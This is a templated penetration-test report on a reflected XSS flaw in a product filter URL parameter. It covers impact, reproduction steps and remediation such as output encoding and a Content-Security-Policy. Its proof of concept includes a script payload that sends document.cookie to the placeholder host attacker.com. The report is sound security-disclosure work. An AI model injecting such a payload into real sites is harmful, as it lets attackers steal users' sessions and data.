Penetration Testing Writeup: XSS in URL Parameter
Executive Summary
A penetration test on [Target Application] revealed a Reflected Cross-Site Scripting (XSS) vulnerability in a URL parameter. This flaw allows attackers to inject scripts that execute in users’ browsers, posing risks like session hijacking and data theft. This report details the vulnerability and remediation steps.
Vulnerability Details
- Vulnerability Type: Cross-Site Scripting (XSS) - Reflected
- Severity: High
- Affected Component: Product filter URL parameter
- CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Location:
https://[target-application]/products?filter=[input] - Discovered By: [PenTester Name]
- Date Discovered: August 25, 2025
Description
The product filter URL parameter is not sanitized, allowing attackers to inject malicious scripts that are reflected in the response and executed in the victim’s browser.
Impact
- Session Compromise: Cookies can be stolen.
- Phishing: Fake login pages can be displayed.
- Data Theft: Sensitive data can be exfiltrated.
- Defacement: Page content can be altered.
Proof of Concept
- Visit:
https://[target-application]/products?filter=<script>alert('XSS');</script>. - Observe an alert box.
- Malicious payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.
Steps to Reproduce
- Navigate to
https://[target-application]/products. - Append
?filter=<script>alert('XSS');</script>to the URL. - Load the URL and verify the alert.
Remediation Recommendations
- Input Sanitization:
- Validate filter inputs to allow only safe characters.
- Output Encoding:
- Encode outputs before rendering.
- Content Security Policy:
- Use CSP:
Content-Security-Policy: script-src 'self';.
- Use CSP:
- Developer Training:
- Educate on secure coding practices.
- Security Audits:
- Perform regular penetration tests.
Conclusion
The XSS vulnerability in [Target Application]’s product filter requires immediate action to protect users and maintain security.
References
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: https://cwe.mitre.org/data/definitions/79.html
